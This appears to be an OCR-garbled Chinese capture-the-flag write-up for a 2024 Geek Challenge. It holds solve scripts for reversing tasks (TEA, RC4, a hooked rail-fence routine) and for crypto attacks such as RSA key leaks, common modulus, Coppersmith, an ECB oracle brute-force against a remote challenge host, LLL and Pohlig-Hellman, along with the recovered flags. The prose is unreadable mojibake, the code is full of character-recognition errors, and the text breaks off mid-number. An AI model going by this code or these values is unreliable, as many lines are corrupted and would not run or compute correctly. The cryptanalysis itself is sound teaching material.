https://am1re-sudo.github.io/Coisni.github.io/
https://am1re-sudo.github.io/Coisni.github.io/

1B A1E61L, copy T —FIDARNZEEX

1 #include<stdio.h>

2

3 template<class T> T __ROL__(T value, int count)

4 {

5 const int nbits = sizeof(T) * 8;

6 count %= nbits;

7 T high = value >> (nbits - count);

8 if ( T(-1) < 0 ) // signed value

9 high &= ~((T(-1) << count));

10 value <<= count;

11 value |= high;

12 return value;

13 }

14

15 void m_tea_decry(unsigned int *data, unsigned int xkey)
16 {

17 unsigned int dl1 = data[0], d2 = data[l];

18 unsigned int delta = 0x98765432 + ((key[0] " key[1l]) & Oxff);
19 unsigned int number = delta * 32;

20 for (int i = 0; 1 < 32; i++)

21 {

22 d2 -= ((d1<<4) + key[2]) " ((d1>>5) + key[3]) " (d1 + number);
23 dl -= ((d2<<4) + key[0]) A ((d2>>5) + key[1]) * (d2 + number);
24 number -= delta;

25 }

26 data[0] = di;

27 data[l] = d2;

28 }

29
30 Hint main()

31 {

32 unsigned int data[] = {

33 Ox1F85A965,0xEECO63EC,0x5BF1DOB6,0xF2FDE7BO,

34 OXxAA38809A,0x670772E9,0x360D24B9,0xE98C688C} ;
35 unsigned int key[4] = {0x56789ABC,0x6789ABCD,0x789ABCDE ,0x89ABCDEF};
36 for(int i = 0; 1 < 4; "i++)

37 {

38 key[i] = __ROL__(key[i],6);

39 m_tea_decry(data+2*i,key) ;
40 }
41 printf("%s", (charx)data);
42 return 0;
43 }

44 //SYC{DH_likes_flower_and_teal!!l!!l}



HiXHIRCA

& &pythonEl#F,

MEIRF: rc4

rc4 BISCIITE Rc4.pyc , BT AL, BBEMHRE for...else BA, FHIERAR

o
1 def mRC4(data,key):
2 length = len(key)
3 S = [m for m in range(256)]
4 T = [key[n % length] for n 1in range(256)]
5
6 j=0
7 for i in range(256):
8 j = (j + S[i] + T[i]) % 256
g S[il,S[31 = S[31,S[4]
10
11 i=j=t=0
12 for k in range(len(data)):
13 i=(i+ 1) % 256
14 j = (j + S[i]) % 256
15 t = (S[i] + S[j]) % 256
16 S[il,S[3]1 = S[31,S[1]
17 datal[k] = (t + 6)
18 data[k] -= k
19 return data
20
21 key = b"SYCFOREVER"
22 cipher =
23
24
25
26 for i in range(len(cipher)-1,0,-1):
27 cipher[i] *= cipher[i-1]
28 for j 1in range(len(cipher)):
29 cipher[j] "= j
30 result = mRC4(cipher,key)
31 print(bytes(result))
32 #b'SYC{Belleve_ thAt_you_a3e_Unique_@nd_tHe_beSt}'
ez_hook

pyinstxtractor + umcompyle6 M, hZ<3.8NIiF

-> xorl -> xor2 , RiTFRfRZER,

E/
\E'\ﬁurﬁ]o

gl

[158, 31, 205, 434, 354, 15, 383, 298, 304, 351, 465, 312, 261, 442,
397, 474, 310, 397, 31, 21, 78, 67, 47, 133, 168, 48, 153, 99, 103,
204, 137, 29, 22, 13, 228, 3, 136, 141, 248, 124, 26, 26, 65, 200, 7]

FepatchiE kiR 75 EEEDE



ZIERERR I T AR INZRRE, KME— T RERFER T e 1f.

BREdx, &M VirtualProtect BEAIER T, A BBRThookIENREEN T ENINEZ R EHI 2
b1

1BOOL _ fastcall hook(size_t *al, int a2)

2{

3 __int6e4 v3; // [rsp+2Bh] [rbp-15h]

DWORD flOldProtect; // [rsp+34h] [rbp-Ch] BYREF
SIZE T dwSize; // [rsp+38h] [rbp-8h]

dwSize = 5i64;

VirtualProtect(al, 5ui64, @x4eu, &fl0ldProtect);

9 LOBYTE(v3) = OxE9; // E9 -- jmpif%

18 *(_DWORD *)((char *)&v3 + 1) = a2 - (_DWORD)al - 5;// offset

11 *(_DWORD *)al = v3;

12 *((_BYTE *)al + 4) = BYTE4(v3); /1 MR BEIPL ARSI TS AN 1T jmp a2
13 return VirtualProtect(al, dwSize, flOldProtect, &flOldProtect);

14 }

al BENBREEET, 180 main EXXFANMZRRE, 8IS NFETHELT jmp BkiEis<S, HY
FhookZE 7 E—MINZREKEL a2 o

M7 sub_4016E4 , FEEIEAXLIMEBWEM=ZH5 (Rail Fence Cipher) MIEMEhAEHEKZ
AT NHIT T ¥ Fo

13 len = strlen(str);

14 vl12 = 8;

15 for ( 1 =8; 1 < a2; ++i )
16 {

17 v9 = 1;
18 inf =2 * (a2 - i - 1);
19 for ( inb = 2 * i; v9 < len; v9 = inb + vle )

20 {

21 if ( inf )

22 {

23 V3 = v12+4+;

24 out[v3] = str[v9];
25 T

26 vle = inf + v9;

27 if ( vie »>= len )

28 break;

29 if ( inb )

38 {

31 vd = v12++;

32 out[v4d] = str[vie];
SiE: T

34 T

SCINNL-

36 out[vi2] = 8;
37 return hook((size t *)encl, (int)enc2);

Cybercheft2 7,



Recipe A a [ ] i Input

<oR A QN 20Xpih~1hX6s0X71r~DTHtGpX ||

Key Scheme
7 HEX Standard

|:| Null preserving

me 26 = 1

Rail Fence Cipher Decode ~0n Output
Kev Offset SYC{you_knew_wh@t_1s_hoCk }\
3 2}
Reverse ~ Q0 n
By
Character
- v
BAKE! =
STEP ‘ Auto Bake

e 26 = 1

1 SYC{you_knOw_wh@t_1s_hoOk}

Crypto

LN E
Y RTS S 6BY AR flag:

YEI{CKRIUSK_ZU_2024_MKKQ_INGRRKTMK}
SYC{WELCOME_TO_2024_GEEK_CHALLENGE}

Tr Raw Bytes < LF

B0Om::

@© 2ms  Tr Raw Bytes < LF

33108009203593648507706487693709965711774665216872550007309537128959455938833

RSA
from Crypto.Util.number import *
n =
4 p = 192173332221883349384646293941837353967
5 q = 172282016556631997385463935089230918399



10
11
12
13
14
15

XOR

O© 00 N O U b W N B

e e =
U N W N K+ O

A W N B

C:
5366332878961364744687912786162467698377615956518615197391990327680664213847
e = 65537

phi = (p-1)*(q-1)

d = inverse(e,phi)

m = pow(c,d,n)

flag = long_to_bytes(m)
print(flag)

#SYC{RSA_1is_easy}

from Crypto.Util.number import *

from pwn import xor

fl = 4585958212176920650644941909171976689111990
f2 = 3062959364761961602614252587049328627114908
e2 = 10706859949950921239354880312196039515724907
el = e2"f2

enc = elrfl

long_to_bytes(enc)

xor(enc[0:4],b"SYC{")

flag = xor(enc,key)

print(flag)

enc

key

#SYC{a_part_0Of_XOR}

from Crypto.Util.number import *
import gmpy2

c =
1279162874349362249645302884036575044501342107811488453283572379566813737225564
4700124713768675896589175138003482782492262530752122159803178916544913499499839
7717982461775225812413476283147124013667777578827293691666320739053915493782515
447112364470583788127477537555786778672970196314874316507098162498135060

n =
1576678660058660438096755923362889621061259987807919200079208331450684218610293
5449704591847167295665520554192807125302320875120298045791939945698462842919843



8149779785543371372206661553180051432786094530268099696823142821724314197245158
942206348670703497441629288741715352106143317909146546420870645633338871

e = 65537

dp =
2509050304161548479367108202753097217949816106531036020623500808413533337006939
302155166063392071003278307018323129989037561756887882853296553118973548769

for i in range(l,e+l):

10 if (dpxe-1)%i ==

11 if n%(((dpxe-1)//i)+1) ==0:
12 p = ((dpxe-1)//i)+1

13 q=n//p

14 phi = (p-1)*(q-1)

15 d = gmpy2.invert(e,phi)
16 m = pow(c,d,n)

17 print(long_to_bytes(m))

18 #SYC{welcome_to_crypto}

HIER &

import gmpy2

from Crypto.Util.number import *

n =
1974287542364569084607363762047049764880431011120140990105929708382710381367403
4450200432098143959078292346910591785265323563248781526393718834491458926162514
7132699847917308161211813078276244897259237633533938793165100622275114694387424
2929007399938869082573223646564739675589913634615086284892423161966606952807779
0933176798057396704758072769660663756346237040909579775389576227450505746914753
2058901944578128930984912643922939497681936945609548746034512530794466520495929
7660541443841187222325003978238125921271873345558847712991035709518601449695776
5297934289263536712574572533650393220492870445376144568199077767

4 el = 911
e2 = 967
6 cl =

1867609192446194680912703643935511678253989410524579662689849593570234848407650
1694838877829307466429933623102626122909782775514926293363853121828819237500456
0621118052122094913987205284995894862412088208044655992791526406246181944257403
6849507259147153186839227450393686922507212321486939997163642817751676167538858
9238329574042518038702529606188240859751459632643230538522947412931990009143731
8294849413970935096413202641694037557074951534335681069348502836145297936952667
1733076901909178292913958993992821081851574460484745392943299018534711231997144
5630830477574679898503825626294542336195240055995445217249602983
7 c2 =

4229417863231092939788858229435938841085459330992709019823280977891432565586698
2286137709645639207799915847325277153788426211713386497451860815201761239076896



10
11

6963647391967839801431702413862294992329278709540063201899131125459178617966060
3414693984024161009444842277220189315861986306573182865656366278782315864366857
3748747632434284960611532905658919429688767899056700733214261124971131451415392
8902057168463440682927290211848467009909714872707271829951273563708793364934541
9433312872607209633402427461708181971718804026293074540519907755129917132236240
606834816534369171888633588190859475764799895410284484045429152
_gcd,sl,s2=gmpy2.gcdext(el,e2)

m=pow(cl,sl,n)*pow(c2,s2,n)%n

print(long_to_bytes(m))

#SYC{U_can_really_attack}

ncoCRT
sagemath—3Ei%

nc

O 0 N oo 0 b W N BR

e
AW N RFH O

from Crypto.Util.number import =*

p = [1921232050179818686537976490035, 2050175089402111328155892746480,
1960810970476421389691930930824, 1797713136323968089432024221276,
2326915607951286191807212748022]

c = [1259284928311091851012441581576, 1501691203352712190922548476321,
1660842626322200346728249202857, 657314037433265072289232145909,
2056630082529583499248887436721]

m=CRT (c,p)

print(long_to_bytes(m))

#SYC{wha+s_wrOn9!_CRT_bu+_n0O+_<Omprlime!}

from pwn import x

import itertools

import string

import hashlib

from Crypto.Util.number import =*

def proof(io):
jo.recvuntil(b"XXXX+")
suffix = do.recv(16).decode("utf8")
jo.recvuntil(b'"== ")
cipher = jo.recvline().strip().decode("utf8")
for i in itertools.product(string.ascii_letters+string.digits, repeat=4):

x = "{3{H{H{}". format(i[0],i[1],7[2],7[3])

proof=hashlib.sha256 ((x+suffix.format(i[0],i[1],i[2],7[3])).encode()).hexdigest



O
15 if proof == cipher:

16 break

17 print(x)

18 jo.sendlineafter (b"XXXX:",x.encode())
19

20 io = remote('ncl.ctfplus.cn',43434)
21 proof(io)

22

23 do.recvuntil(b"See below :D")

24 flag = ""

25

26 for i 1in range(1,34):

27 io.sendline(str (i) .encode())

28 jo.recvuntil(b"[+] ")

29 flag += jo.recvline().decode().replace("\n","")

30 print(flag)
31 #SYC{MAYB3_YOU_KNOW_A1AN-B3<K3R?}

rEEE

%—J=E: Morse

"2 Vigenere

$BE=F: cmd5&md5

FEMRE: fence, MKEZER—ILHK

$HE: basel00->rotl3 ->base64 -> base65536
SYC{HOW_P3RF3C+_YUOQO_ARS3!}

inPEM
TR NSRS FIRAEA S BT LA RN, e, dq, invEHLL B RS key (RIENEZMIARARAE)

1 from Crypto.Util.number -import =*

2 "dimport gmpy2

3 n=19909823107653171578063591352961144331355821517081529017694276790993397379180
1935117558069580915500332358158348475492657512441922117615698810617429978045090
9809529714652094634373493978293597005403138939044752657798280941207457361688966
3964050032806967234869741452169276495048891650957729859124875343810181695665153
1298245270650628317730137134796020524239655881482632926725148537496475109386214
2126413717766649773709926348126949186759381257995828361988269986691556135743748
4323854411934718569074869408000191465973545262527827064708529700071967884924505
367105288433603597633451764659888020272057850625902629529400734213

4 e=65537



5

10
11
12
13
14
15
16

dg=0xba5beaf382f586bf044615f3ec8bf35e0ad@adlcech213930a86ac35a80d90319a05aa56da
311ee8435abe6317eb6d15904fc787d37b34c48daad75d2b77a41d5cec4c27ccedd7cbda89lfefa
0d9d7025023bch865c16c000266a090640032752acce73a3358060c056723e788f42edc8e120e0f
58f5e24f327fff1c56687fbl
c=0x3ebcefe9lch56a985a514dacefe4e048cle805a6a3alafcdc405812044dcelce247b1de001b
77dcb83ff31f38b392dab34f0d2aabdcbh2ate670f104b2dfa®4c2ff88b563804993f5ce2babd8a81
dbde7f99ffacbfb6a77723a84e6c7d758a4d89667h6e0f9308c9c154b8f8fdata224fc9364ba299
5ab5a4a8a608b43bffalae9007ffb224aa45485f861eedlcdfaal3d4efefdcb03ch12501a7f9ffd23
36d86b12339c3ec8ea9f321d6d6a3df56613325205c7ec84dffcl07eabb5b06fcededad19914c61l
987cPaelld502fe91846efd548bcldc9fab7331f838fe27e5f0a5452f1cd79e6d3b125f060aef698
Cc304842a386d6aa44€12871ch2b20ef3bebadlad6c
for i in range(l,e+l):
if (dgxe-1)%i == 0:
if n%(((dgxe-1)//i)+1) ==0:
q = ((dgxe-1)//1i)+1
p =n//q
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

m = pow(c,d,n)

print(long_to_bytes(m))
#b'\x02y,0\\\x9b\x13\xceg\x1ldo \x90p\xalqg\xffg\xel\x0f9\xbe\xad\xc3\x7f\xf1\xc2
\X1bF\xdI\xcd\xf3"8\xff\xd9%nj\xa8\x8F\x11\x1b\xa0\xde\xcb\x8a\xbe|\xe8\\\|x8c6\x
93\ xb6#\xbe\xab\xdcFU; \xcf\xdc\xe9\xd7\xef!\xb8r\xc9\x82\x9eg\|x95\x880)0\x84\x1
e 'b\xc2\xa2\xa6\x83\xel\x03\xc5\xbIPy\x0b\xfO\xfOl\x90\x10\x19\x93\xdf@\xd5\xc2
\xd4\x06\ xc6\xdf\x90\xc7\xbc\xc4{\xcoX\x98j_,0\x1r3\x1b\xe6\xa5\xee\|xO6NO\xb8\xb
aE)a\x07\x12b\xcb\x83\x16P\x8a\xa7\x950\x8c\x0c\xe5}\xcb\x85-\xe7#\xe7[-
\x03\x8f\xe2\xa7\x00You_are_rlight_bu7_Genshin_Impact_1ls_@_brand_new_open_world._
@dventure_gam3_dev3loped_6y_miHoYo. '

fEE1SEflag

7| Genshin.txt - {254 — O
MR FE(E) HB0) BEEV) ZEHH)
'5aSn5a0w5ZGQ5ZaK77ya5LuA5LmI546p50SP5ZWK40CU40CUCuaAu+iAjOiogOS5i+iogOiAjOaAu+S5i+ +8mg==SYC{OVvanSh3nO_Q1D0ng!}

ECBpad

0 N oo b~ W N =

from pwn import *

host
port

'ncl.ctfplus.cn'
38986

def brute():
flag = "'
total=32-1

s



9 chars = 'abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-

~ 1 2#%&E@{}"
10 while True:
11 payload = '"1' x (total - len(flag))
12 t = remote(host, port)
13 t.recvuntil(b'[-] ")
14 t.send(b'yes')
15 t.recvuntil(b'[-] ")
16 t.send(payload.encode())
17 ciphertext_1 = t.recv()[12:].strip().decode()
18 t.close()
19 for ¢ 1in chars:
20 t = remote(host, port)
21 t.recvuntil(b'[-] ")
22 t.send(b'yes')
23 t.recvuntil(b'[-] ")
24 t.send((payload+flag+c).encode())
25 ciphertext_2 = t.recv()[12:].strip().decode()
26 t.close()
27 if ciphertext_2[32:64] == ciphertext_1[32:64]:
28 flag += c
29 print(flag)
30 break
31 if '} din flag:
32 break
33
34 brute()

35 #SYC{CRY9TOHACK_A_GREA7_W38S17E}

ezRSA
h=(2024*m-2023) % n—ABEREEFIEMHE T, mBMET/ N Fn, FrUEnt 2R KIEIE

from gmpy2 import *
from Crypto.Util.number +dimport *
n =
9877609800289147712099267569615532892708632252630797633798800660643613533600447
2363084175941067711391936982491358233723506086793155908108571814951698009309071
2445714041168177677493084349916950755176829794388378520053964919071800205415102
10086588426719828012276157990720969176680296088209573781988504138607511

4 c =
9379399412697943604731810117788765980709097637865795846842608472521416662350816
9952615995669998964115083743528996597051713079165913511578613935061013489725448
4369622163157118809452431075904614274304691907557735082152374619242419238668858
3922197969461446371843309934880019670502610876840610213491163201385965



5 h =
1115186481794163514386038245603600414967068484946163088660578170872956753245289
13254309319829895222661760009533326673551072163865

e=3

m_high=(h+2023)//2024

kbits = 150

PR.<x> = PolynomialRing(Zmod(n))

© 0o N O

10
11 f
12 f = f.monic()

13 root = f.small_roots(X=2"kbits, beta=0.5)
14 print(root)

15

16 m = (m_high + root[0])

17 print(long_to_bytes(int(m)))

18

19 enc = pow(m,3,n)

(m_high + x)*xxe - c

20 assert enc ==
21 print("ok")
22 #SYC{crypto_1is_very_interesting_why_dont_you_join_us}

ecc

from Crypto.Util.number import x
p =
93202687891394085633786409619308940289806301885603002539703165565954917915237

3 a=
93822086754590882682502837744000915992590989006575416134628106376590825652793

4 b =
80546187587527518012258369984400999843218609481640396827119274116524742672463

5 k =
58946963503925758614502522844777257459612909354227999110879446485128547020161

6 cipher_left =
34210996654599605871773958201517275601830496965429751344560373676881990711573

7 cipher_right =
62166121351090454316858010748966403510891793374784456622783974987056684617905
E = EllipticCurve(GF(p),[a,b])
cl =
E([4048528778457710505214263238029728222329038890129449649472600409295321684611
1,81688798450940847410572480357702533480504451191937977779652402489509511335169
D

10 c2 =
E([5158854034430200352788276211719024424036388548165110429137704950308500315285
8,77333747801859674540077067783932976850711668089918703995609977466893496793359

1)



11

12 m=cl - k * c2

13 ml=cipher_left//m[0]

14 mr=cipher_right//m[1]

15 M=long_to_bytes(int(ml))+long_to_bytes(int(mr))
16 print(M)

17 #SYC{EccSis!sO@HaRd}

RnoCRT
EBERER
1 Hdmport hashlib
2 from functools import reduce
3 from gmpy2 -dimport gcd
4 from Crypto.Util.number import x
5 Num=7
6 m = [207867980504656835313307696396607264603,

245036212212570610987366430554968489325,
270836744824069537438646110613439698666,
319275775495422875474878625752594133023,
254268823435329877199449670714528712873,
213093607196415232366564484229844568444 ,
246921085368773491003187313772615702950]

7 a = [150031581047390726903711035932621949276,
21260202376534810598778595491323328519,
144049733622518360270048059408969512643,
236920143187836025924037873968303507493,
99781504248790469459151935530031893836,
69236016568483424294966410179787943383, 20613188366058016717435734248097940419]

8 gbs=reduce(lambda x,y: x*xy//gcd(x,y), m)

p = reduce(lambda x,y: xxy, m)
10 def egcd(a, b):

11 if a ==

12 return (b, 0, 1)

13 else:

14 g, vy, x = egcd(b % a, a)
15 return (g, x = (b // a) *x vy, vy)
16 def china(num):

17 ml,al,lcm=m[0],a[0],m[0]

18 for i in range(l,num):

19 m2=m[]

20 a2=a[i]

21 c=a2-al

22 g,kl,k2=egcd(ml,m2)



23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

LLL

© 00 N O U

10

lem=1lcm*m[i]//gcd(lcm,m[i])
if c%g
print('No Answer!"')
return 0
x0=c//g*kl
t=m2//g
x0=(x0%t+t)%t
al+=ml*xx0
ml=m2//g*ml
return al
ans=china(Num)
i=0
x=ans+i*ghs
while x<p:
flag = "SYC{" + hashlib.sha256(str(x).encode()).hexdigest() + "}"
if ("6a651" 1in flag):
print(flag)
i+=1
X=ans+i*gbs
#SYC{6a651b7ced47b35cclacas65028fb633fab9e35caf8e45d5ce987a6caeb500465}

from Crypto.Util.number import *
b =
1697908498043235409461972047084027628625861976041831025892707418597085503019203
4811294130599976409219799692929847459006262555680679361326852776377401377268595
4699561684244945434843656515307801882995934869499880288594142919381501796488815
033294127591623260894764750214588993456840404443515671353802614450411717
a =
8798570883152323898094893816541498431837945992600279850443596453820344387798859
9888615810231215118828138306895572062833107988965151522391460216837691927960249
8745118188781343993631470080425622229102347399406975538525402656176034829950912
03105040187460485673579382171260197291783748886765929376179151804062085
p =
1317244945120656588010397665467888217180639631444678187357680406313670691538162
5485522965544955909918869440326004499036629202691608534025007719873521577414908
7025577263769846650728593180101073940507285459917860726551385227481715873503612
683249433020201729190862430476054822102865441136763977415824331858801617
Ge = Matrix(zz, [[27190, O, a],

[0, 1, -b],

[0, 0, pll)

t, m, ¢ = Ge.LLL()[0O]
m = abs(m)



11
12

print(long_to_bytes(int(m)))
#SYC{1€989433efffd767589e989ad0f091075c06}

highlow
EHMpEUFMEAL, HiglcoppersmithBIE]

1
2
3

10
11
12
13
14
15
16
17
18

from libnum import n2s

import gmpy2

n =
1409120632062252367484772013976154315482219087903538024542448126748255093222961
1965964424965958386255076593911062804299275581742665134207390532802109700225140
9998126980208386836973758910356252552220018844772143618351014422887253830733343
9299518605386726149767923436279491410803357468129265652280792868081272646219507
7833184018122369579002715900477290345396065912536529290811962117814900448319776
5907129462595403824616324686348279599572869058064320056328646639850148723656726
5347682283392187007185131342490348128235034230481914989461008980432140558943398
0650340610521659031234826823369114800150883988613877877881069579

pxor =
1242292452440857914396509344386396867824234451839212526847217640614939087900739
4887762381293033908115816942185480155281908867993715735792484524808271616072783
9419054107753000815066526032809275137495740454967765165248115412626716101315676
902716808647904092798908601183908297141420793614426863816161203796966951
e=65537

c =
1101733612269103405324199229396311459081631984438428744862966367204920589282860
0396465505710922907685545939978376321927394655458727494361852952898280905220963
1636254822952228561291641726195643446343655203288159722328256392926053117416559
8842716681140609132961362796107023145703530329879365154641249697566222585712380
5867756651901374507447803198638466304862480202099076813471571495380132563252630
7892181730072758906007467582854152744343933811257425260149860396526776056422265
7674142405374951228082523121742023908910579408070732235760294104682265933548742
0672699022969372037662958497832065752272061853723653365171768556

p_high = pxor>>(44x8+400)

p_low = pxor%(27400)

modl = 27400

mod2 = 2/ (44%8+400)

PR.<x> = PolynomialRing(Zmod(n))

£
f = f.monic()

out_p = f.small_roots(2 "(44%8),beta = 0.4,epsilon = 0.03)
p = ged(int(f(out_p[0])),n)

q=n//p

phi=(p-1)*(q-1)

d=gmpy2.invert(e,phi)

p_high x mod2 + x * modl + p_low



19 m=pow(c,d,n)
20 print(n2s(int(m)))
21 #SYC{2f521b13bc9d6e932e9f5cbe511112d19e3a9c6}

Number theory
hOBBII R EIZA— T &S/ EERIR, h1fMh1BRTFqlNREHKEIER D, ATUERIRKEE,

from Crypto.Util.number import *
import gmpy2
ho =
3220497006402049508998763812708472832647814868290156746347730942871191356255789
6593705535648052700330691266737203443101999536510877540720202257029161055418134
2878699266814417200049585740818069523501732945116455286444066988797878038740889
2281885728829108705426036377534262123812335152528611168777211280571694805002313
T7187558717974264939293148772733851621062265829104737186965855582353613022111641
9002276534547788020935507387085733069430913903319151000283175501116355440550108
4092882774630793037506647051531578470767441695642108269033577519614546722167605
348209455599860877630930453549375215766657975702946679735793440

4 nl =
2060962937214564986912488393147703541877326550680798228797363439886099533515785
4064383658546598627777214414513344620919765235474447787454254677033199140440513
7223652955283394787636862345723862467016691398291875321795735839184056287385458
8785257721480066309559297604918800540524209163921025267623273295631210853884959
1909382864675439965387851084691144379692503823575367370407191667133473482821484
9555373066026115876047476931715868709737004060728724510677095226420668312896869
6853582377427377038592477936833844636710218498315448698753163397106535786492473
8084803301054789863293592286600424063888458243900130876991944561

5 hl =
4919450238319520891798819978535557900047112062769882452413656393911276797133704
9691779758664899497703009458337602635607307068610164325874221815125058246159504
5532606583007274862523296562285674563515636611715112484985731511353747579538878
7142613091297412712366835795119679536405570353539992466164995728247691534578250
5912688106575686848420343362888

6 h2 =
5602981233781102298259874735498798991536461036839510194822260923723087559901344
4593473706280586983516630982411154519894488542135837471701015074142753084529513
2025130614816155228653808570586280085427248826095248553494645493172035332085678
0303461837715563730313578556687412255548193156095733449323342361819373536260923
5034574175221191665401074291634

7 n2 =
2112717256988787056962198680281477139806960682666139797951555661879160217469822
6712111670185315617811180192688381471253591193212149192104216153890060029438171
5430104273568100596601683691715040651204740474014666326002309817025368987387447
0154113275985859534106871332197657986481055344753420451349100870521504186124727



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

Math

7449063318972113826820821732327255577559447446606667162763843696891825420560307
6885530224534706538751571146639437232581811866599159267808029022139783959619817
5015914759407639976938678756191094737274890855177552771553870885523586129754918
9165238857651886658156332640360898769204102407630920314871304057
c =
5607552428806279725164332098717496105359323731793797865776852054987286366396268
8356561169488070843384973647467162170521750550133308471144980670231638784900409
5713051588092253172522672946790468745026981755103787604427489836091442220163475
8724176912018795267171627398316542607462818553194467631468793807762529509728325
7593311420608654328795616227478954220228390770349599656408174198433766939463918
8614832738953892355758396470821879691042200815048095073239454838508301629389123
7783400286493750498647816940000092965104858068292374074379723230507283787259827
582725133425982004517180631242028412315096023451549819804660838
e=65537
g=gmpy2.gcd (hO-pow(2024,n1,nl),nl)
1s=[]
for i in range(2*x*x12,2*x13):
if disPrime(d):
1s.append (i)
for x in 1s:
found=0
for y 1in 1s:
p=gmpy2.gcd (h2xx-hlxy,n2)
if p!=1 and p.bit_length()==1024:
found=1
break
if found==1:
break
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
n=px*q
m=pow(c,d,n)
print(long_to_bytes(m))
#SYC{492aebb6-9cl6-4bla-ac42-fc608bf6063f}

BEFAE

a A W N

import base64
from Crypto.Util.number import *
from Flag import flag
def modified_Base64enc(data):
new_table =
"CDEqrIJKNOPABdefghijklmQRSTstuvwxyz01VWXYZabcnop456L23FGHUM789+/"



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

enc = str.maketrans(new_table,
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
return base64.b64decode(data.translate(enc)) .decode()

data_long = bytes_to_long(flag)

primel = getPrime(512)
getPrime(512)

exponentl = getPrime(32)

prime2

modulusl = primel x prime2
cipherl = pow(data_long, exponentl, modulusl)
print("c_output="%s'" % modified_Base64enc(hex(cipherl)[2:]))

prime3 = getPrime(512)

prime4 = getPrime(512)
modulus2 = prime3 * prime4
exponent2 = 39847
phi_modulus2 = (prime3 - 1) * (primed4 - 1)
if GCD(exponent2, phi_modulus2) != 1:
exit()
cipher2 = pow(primel, exponent2, modulus2)
print("nl_output="%s"'" % modified_Base64enc(hex(modulus2)[2:]))
print("cl_output='%s'" % modified_Base64enc(hex(cipher2)[2:]))

hint_valuel = 2023 * prime3 + 2024
hint_cipherl = pow(hint_valuel, prime4, modulus2)
print("hintl_output='%s'" % modified_Base64enc(hex(hint_cipherl)[2:]))

prime5 = getPrime(512)
prime6 = getPrime(512)

modulus3 = prime5 x prime6
exponent3 = 44021
phi_modulus3 = (prime5 - 1) * (prime6 - 1)
if GCD(exponent3, phi_modulus3) != 1:
exit()
cipher3 = pow(prime2, exponent3, modulus3)
print("n2_output="%s"'" % modified_Base64enc(hex(modulus3)[2:]))
print("c2_output="%s"'" % modified_Base64enc(hex(cipher3)[2:]))

hint_value2 = 2023 * prime5 + 2024 * prime6
hint_cipher2 = pow(hint_value2, 2323, modulus3)
print("hint2_output="%s'" % modified_Base64enc(hex(hint_cipher2)[2:]))

hint_value3 = 2024 * prime5 + 2023 * prime6
hint_cipher3 = pow(hint_value3, 2424, modulus3)
print("hint3_output="%s'" % modified_Base64enc(hex(hint_cipher3)[2:]))



52
53

54
55
56

exponent_final = exponentl

modulus_final =
Ox9c5ab7clcc9a4fe0bld53afatfd7016d00e811le5alc6fb258c75a246a0630a75644100828€2175
7deld9a5ff99ebd05257aa9d895c1de40a2eb619fa52f32b38ach52669841d528351df863137b0a
14f4aff6506cfOc7cdf1801c2bd3d7fb4e583811f4f771f7e5c0e5f42a85839affed38df8b913fa
6a4e782adc028e5e86162f

value_final = 0x488d156b0cbef000flbf6c47006a3595

final_cipher = pow(value_final, exponent_final, modulus_final)
print("a_output="%s'" % modified_Base64enc(hex(final_cipher)[2:]))

hl, h2, B3BERERFzHA—MXEH. EDS/NEEFRR,; &EF—3F5RIDLPAPohlig-Hellman
BIERRADT],

mfa—EB53exp

o N oo b~ W N R

10

11
12
13
14
15
16
17
18
19
20
21

def r(h, g, N, p, gi):

Zp = Zmod(p)

h = pow(h, N//qi, p)

g = pow(g, N//qi, p)

ri = discrete_log(Zp(h), Zp(g),bounds=(0,22512))

return int(ri)
m = 0x488d156b0Ocbef000f1bf6c47006a3595
n =
Ox9c5ab7clcc9a4fo60bld53afafd7016d00e811le5a1c6fb258c75a246a0630a75644100828e2175
7deld9a5ff99ebd05257aa9d895clde40a2eb619fa52f32b38ach52669841d528351df863137b0a
14f4aff6506cfOc7cdf1801c2bd3d7fb4e583811f4f771f7e5c0e5f42a85839affed38df8b913fa
6a4e782adc028e5e86162f
c =
Oxc028af32e59098f182059e09d4463c34a71b5db98d0d538305102ce68cda72f6897606fd8d933
b51633e63c63be59cc3454e8d04d287eda3535f21a8c9496f9e5b62edc81eb971d55b9ecc20b4d6b
671709e73at110d1bef9413e9786032d268fd7d243d01cchdbeb0757e5a5affbc976e83f85bde68
5618d592fe23d754919a2
tmp_list = [10529 , 6577772 , 344417 , 503777 , 54924774 , 73044773 , 8599272
, 86011373 , 92723375 , 103423375]
r_list = []
for gi in tmp_list:

tmp = r(c,m,n-1,n,qi)

print(tmp)

r_list.append(tmp)
x = crt(r_list, tmp_list)
module = 1
for i in tmp_Llist:

module *= 1
while True:

if int(pow(m, x, n))==c:



22
23
24

F&exp

print('x ="', x)
break

X += module

2390
3035716141
24703
459716
3035716141
3035716141
3035716141
3035716141
3035716141
3035716141
x = 3035716141

from Crypto.Util.number import *

import gmpy2
Cc=0x639cd472630afblaad9f5490b4f3de3b4701leef5c61aad06345f9e001021340cf989fc082693
f745716bd39d015793e62be08913dcb82b2b6c8ed56d15a4cc230a60eal85d593a858b47276c403
Cc79b6da23b561b200295a8addba7a48660d17a9eef322e430b939%9aecc4calcOf4fccO03524cdcab
8b7be935962f4b4ad8cafd5s
N1=0x11df715605906c9cfco906faf4d02a380b9489fe890952cfbc7713af87031b61ad4a3afe2c46
ba89ef462a3a77def7d5de0afalob3d1303afc06ed7bcofO7e01e9883b06cel7c290fe550844cf9
028f50642e4190cch13cdfObb0493e437c54e€e17643202cc1b35741208957eb6c1843299b4480e6
d32a311de6fd6f4b9d9e8fab
c1l=0x5a768e8e3e4efe51f566d77dd9a1312f5398bc9elfad4e828be6a3b6aab109ded2cdeecs24e
23bf0836b7b2515342a429744e980bdc3acd77a8133c543ealcf4f4665fbd46bc21d38edd60a6870
07e079980cac97e1099610aeceee3bff13483396a4cfb061df7d5bcedc7fbabaeldfbead5f56aa9
90f23ee9chbe8a8fcO66d5fa
h1=0xc3fd84beeb2363d414848fda5898976625bchb9637982183853a6c96e64c8ec94645409b70
